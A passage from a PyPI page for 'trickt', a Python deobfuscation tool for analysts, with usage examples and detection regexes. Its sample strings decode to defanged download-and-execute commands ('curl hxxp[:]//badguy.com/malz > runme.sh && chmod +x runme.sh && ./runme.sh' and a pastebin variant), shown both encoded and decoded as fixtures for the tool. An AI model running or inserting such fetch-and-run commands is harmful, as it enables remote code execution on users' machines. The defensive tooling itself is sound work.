        |--decoded_base64>  ; curl hxxp[:]//badguy.com/malz > runme.sh && chmod +x runme.sh && ./runme.sh;

If you find that trickt errors out when running with the --pretty switch, then you can try changing the encoding type with the -e or --encoding switch. The default is utf-8. The byte string is decoded with the value from this switch before being printed to the screen.

Expectations when using trickt

Trickt is not mean to be exhaustive in its capabilities. It is meant to give analysts a quick look at a file or string to identify common obfuscation or trickiness. For example, here are the regular expressions used to identify strings which trickt should analyze further for trickiness:

REGEX_CHR_STRING = br"(chr\(.+chr\([0-9]+\))"  # Pulls out all chr() strings within a single line.
REGEX_ESCAPED_CHARACTERS_STRING = br"(\\[xu].+\\[xu][0-9a-fA-F]+)"
_REGEX_B64_STRING = br"([0-9a-zA-Z\+\\]{32,}[=]{0,2})"
REGEX_URL_ENCODED = br"^.*%[0-9a-fA-F]{2}.*$"

As you can see... not exhaustive nor much finesse.

Use the API

You can use the individual functions by importing trickt.

  • Note that by using the individual deobfuscation function, you will NOT get the recursive functionality with the current version.
  • If you want the full recursive capability, use trackt.all() instead (see below)
>>> import trickt
>>>
>>> s = br'XHg2M1x4NzVceDcyXHg2Q1x4MjBceDY4XHg3OFx4NzhceDcwXHg3M1x4M0FceDJGXHgyRlx4NzBceDYxXHg3M1x4NzRceDY1XHg2Mlx4NjlceDZFXHgyRVx4NjNceDZGXHg2RFx4MkZceDcyXHg2MVx4NzdceDJGXHg2NVx4NzNceDYzXHg2MVx4NzBceDY1XHg2NFx4NUZceDY4XHg2NVx4NzhceDVGXHg2RVx4NjVceDczXHg3NFx4NjVceDY0XHgyMFx4M0VceDIwXHg2Mlx4NjFceDY0XHg1Rlx4NjZceDY5XHg2Q1x4NjVceDJFXHg3M1x4NjhceDIwXHgyNlx4MjZceDIwXHgyRVx4MkZceDYyXHg2MVx4NjRceDVGXHg2Nlx4NjlceDZDXHg2NVx4MkVceDczXHg2OAo='
>>>
>>> result = trickt.base64_decode(s)
>>> 
>>> print(result)
[b'\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x5F\\x6E\\x65\\x73\\x74\\x65\\x64\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68']
>>>
>>> result2 = trickt.escaped_characters(result[0])
>>>
>>>print(result2)
[b'curl hxxps://pastebin.com/raw/escaped_hex_nested > bad_file.sh && ./bad_file.sh']

Use trickt.all() to return a dictionary of all results trickt found to be interesting on a single string. This includes recursive/child results.

>> import json
>>
>> import trickt
>>
>> s = br'XHg2M1x4NzVceDcyXHg2Q1x4MjBceDY4XHg3OFx4NzhceDcwXHg3M1x4M0FceDJGXHgyRlx4NzBceDYxXHg3M1x4NzRceDY1XHg2Mlx4NjlceDZFXHgyRVx4NjNceDZGXHg2RFx4MkZceDcyXHg2MVx4NzdceDJGXHg2NVx4NzNceDYzXHg2MVx4NzBceDY1XHg2NFx4NUZceDY4XHg2NVx4NzhceDVGXHg2RVx4NjVceDczXHg3NFx4NjVceDY0XHgyMFx4M0VceDIwXHg2Mlx4NjFceDY0XHg1Rlx4NjZceDY5XHg2Q1x4NjVceDJFXHg3M1x4NjhceDIwXHgyNlx4MjZceDIwXHgyRVx4MkZceDYyXHg2MVx4NjRceDVGXHg2Nlx4NjlceDZDXHg2NVx4MkVceDczXHg2OAo='
>>
>> result = trickt.all(s)
>>
>> print(result)
{'url_encoded': [], 'code_point': [], 'escaped_characters': [], 'base64': [{'value': b'\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x5F\\x6E\\x65\\x73\\x74\\x65\\x64\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68', 'depth': 0, 'child': {'url_encoded': [], 'code_point': [], 'escaped_characters': [{'value': b'curl hxxps://pastebin.com/raw/escaped_hex_nested > bad_file.sh && ./bad_file.sh', 'depth': 1, 'child': {'url_encoded': [], 'code_point': [], 'escaped_characters': [], 'base64': []}}], 'base64': []}}]}
>>>
>>> # Or, if we want to pretty it up
... 
>>> def pretty(my_dict):
...     for key, value in my_dict.items():
...         if isinstance(value, dict):
...             my_dict[key] = pretty(value)
...         if isinstance(value, list):
...             my_dict[key] = [pretty(item) for item in value]
...         if isinstance(value, bytes):
...             my_dict[key] = value.decode('utf-8')
...         continue
...     return my_dict
>>>
>>> print(json.dumps(pretty(result), indent=2))
{
  "url_encoded": [],
  "code_point": [],
  "escaped_characters": [],
  "base64": [
    {
      "value": "\\x63\\x75\\x72\\x6C\\x20\\x68\\x78\\x78\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x61\\x73\\x74\\x65\\x62\\x69\\x6E\\x2E\\x63\\x6F\\x6D\\x2F\\x72\\x61\\x77\\x2F\\x65\\x73\\x63\\x61\\x70\\x65\\x64\\x5F\\x68\\x65\\x78\\x5F\\x6E\\x65\\x73\\x74\\x65\\x64\\x20\\x3E\\x20\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68\\x20\\x26\\x26\\x20\\x2E\\x2F\\x62\\x61\\x64\\x5F\\x66\\x69\\x6C\\x65\\x2E\\x73\\x68",
      "depth": 0,
      "child": {
        "url_encoded": [],
        "code_point": [],
        "escaped_characters": [
          {
            "value": "curl hxxps://pastebin.com/raw/escaped_hex_nested > bad_file.sh && ./bad_file.sh",
            "depth": 1,
            "child": {
              "url_encoded": [],
              "code_point": [],
              "escaped_characters": [],
              "base64": []
            }
          }
        ],
        "base64": []
      }
    }
  ]
}

Metadata

Release files for trickt 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for trickt 0.1.1
File Size Uploaded
trickt-0.1.1.tar.gz 21.0 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for trickt 0.1.1
File Interpreter ABI Platform
trickt-0.1.1-py3-none-any.whl Python 3 none any Details

Total release size: 34.9 kB

Release files / trickt-0.1.1.tar.gz

Download URL trickt-0.1.1.tar.gz
Size 21.0 kB
Tags Source
SHA-256 checksum
How to use checksums
14d25702b4b4ce5a1eb4f57a4c5dbffc91578eefe33dc30dcc9807a3c9f5aec7
BLAKE2b-256 checksum
How to use checksums
abddc1b3b3b3c419204b41d84b27e726ab03808d62804284b55f6eed2cdbe151
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.0.2 CPython/3.6.9 Linux/5.3.0-22-generic

Release files / trickt-0.1.1-py3-none-any.whl

Download URL trickt-0.1.1-py3-none-any.whl
Size 13.9 kB
Tags Python 3
SHA-256 checksum
How to use checksums
6b722d4c7a3abfac25a26f36a4da8a247df61254d2754f1dc4079894a855e535
BLAKE2b-256 checksum
How to use checksums
7bf1fd20bf60a8f4b98fbec2e53767f2f37714bdc8be4456af673cd2abd0e21a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.0.2 CPython/3.6.9 Linux/5.3.0-22-generic

Release history Release notifications | RSS feed

This release

0.1.1 This release

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page